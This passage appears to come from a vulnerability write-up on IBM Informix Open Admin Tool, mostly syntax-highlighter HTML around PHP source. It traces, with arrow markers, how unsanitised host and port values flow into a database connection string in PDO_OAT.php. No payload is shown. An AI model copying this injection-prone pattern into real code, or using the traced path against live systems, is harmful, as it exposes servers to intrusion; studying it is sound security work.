class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-72\"><span class=\"crayon-h\">\t&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;{$this-&gt;idsadmin-&gt;lang(&#8216;InsufficientPrivs&#8217;)}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-73\"><span class=\"crayon-h\">\t&nbsp;&nbsp;&nbsp;&nbsp;\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-74\"><span class=\"crayon-h\">\t&nbsp;&nbsp;&nbsp;&nbsp;\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-75\"><span class=\"crayon-h\">\t&nbsp;&nbsp;&nbsp;&nbsp;\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">internal<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-76\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-77\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-78\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">tdb<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-79\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-80\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-81\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;&nbsp;&nbsp;&nbsp;\t\t&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-82\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-83\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">tdb<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-84\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-85\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-86\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-87\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0155 seconds] -->  <\/p>\n<p>Let&#8217;s look into <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminlibPDO_OAT.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b5979853b227162256\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  function __construct(&amp;$idsadmin,$servername,$host,$port,$protocol,$dbname=&#8221;sysmaster&#8221;,$locale=&#8221;&#8221;,$envvars=null,$username=&#8221;&#8221;,$password=&#8221;&#8221;)  \t{  \t\t$this-&gt;idsadmin=&amp;$idsadmin;  \t\t$this-&gt;idsadmin-&gt;load_lang(&#8220;database&#8221;);  \t\t$this-&gt;dbname = $dbname;  \t\t$informixdir = $this-&gt;idsadmin-&gt;get_config(&#8220;INFORMIXDIR&#8221;);  \t\t  \t\t$dsn = self::getDSN($servername,$host,$port,$protocol,$informixdir,$dbname,$locale,$envvars); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- [***]  \t\t  \t\tputenv(&#8220;INFORMIXCONTIME={$this-&gt;idsadmin-&gt;get_config(&#8220;INFORMIXCONTIME&#8221;,20)}&#8221;);  \t\tputenv(&#8220;INFORMIXCONRETRY={$this-&gt;idsadmin-&gt;get_config(&#8220;INFORMIXCONRETRY&#8221;,3)}&#8221;);            \t\tparent::__construct($dsn,$username,utf8_decode($password)); &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [*****]  \t}    static function getDSN ($servername,$host,$port,$protocol,$informixdir,$dbname=&#8221;sysmaster&#8221;,$locale=&#8221;&#8221;,$envvars=null)  \t{  \t\t$dsn = &#8220;informix:host={$host}&#8221;; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; [****]  \t\t$dsn .= &#8220;;service={$port}&#8221;;  \t\t$dsn .= &#8220;;database={$dbname}&#8221;;  \t\t$dsn .= &#8220;;protocol={$protocol}&#8221;;  \t\t$dsn .= &#8220;;server={$servername}&#8221;;  \t\t  \t\tif ( substr(PHP_OS,0,3) != &#8220;WIN&#8221; )  \t\t{  \t\t\t$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == &#8220;DAR&#8221;)? &#8220;dylib&#8221;:&#8221;so&#8221;;  \t\t\t$dsn .= &#8220;;TRANSLATIONDLL={$informixdir}\/lib\/esql\/igo4a304.&#8221;.$libsuffix;  \t\t\t$dsn .= &#8220;;Driver={$informixdir}\/lib\/cli\/libifdmr.&#8221;.$libsuffix.&#8221;;&#8221;;  \t\t}    \t\tif (!is_null($envvars) &amp;&amp; $envvars != &#8220;&#8221; )  \t\t{  \t\t\t\/\/ add envvars to connection string  \t\t\t$dsn .= &#8220;;$envvars&#8221;;  \t\t}    \t\tif ( $locale != &#8220;&#8221; )  \t\t{  \t\t\t\/\/ CLIENT_LOCALE should always be UTF-8 version of databse locale  \t\t\t$client_locale = substr($locale,0,strrpos($locale,&#8221;.&#8221;)) . &#8220;.UTF8&#8221;;  \t\t\t$dsn .= &#8220;;CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};&#8221;;  \t\t}  \t\t  \t\treturn $dsn;  \t}  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979853b227162256-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979853b227162256-47\">47<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-2\"><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">__construct<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;sysmaster&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">envvars<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-3\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-4\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">=&amp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-5\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">load_lang<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;database&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-6\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-7\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">informixdir<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">get_config<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXDIR&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-8\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-9\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">getDSN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">informixdir<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">envvars<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-10\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-11\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">putenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXCONTIME={$this-&gt;idsadmin-&gt;get_config(&#8220;<\/span><span class=\"crayon-i\">INFORMIXCONTIME<\/span><span class=\"crayon-s\">&#8220;,20)}&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-12\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">putenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;INFORMIXCONRETRY={$this-&gt;idsadmin-&gt;get_config(&#8220;<\/span><span class=\"crayon-i\">INFORMIXCONRETRY<\/span><span class=\"crayon-s\">&#8220;,3)}&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-14\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-r\">parent<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">__construct<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dsn<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">utf8_decode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-15\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-17\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">getDSN<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">informixdir<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;sysmaster&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">envvars<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-18\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-19\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;informix:host={$host}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-20\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;service={$port}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-21\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span 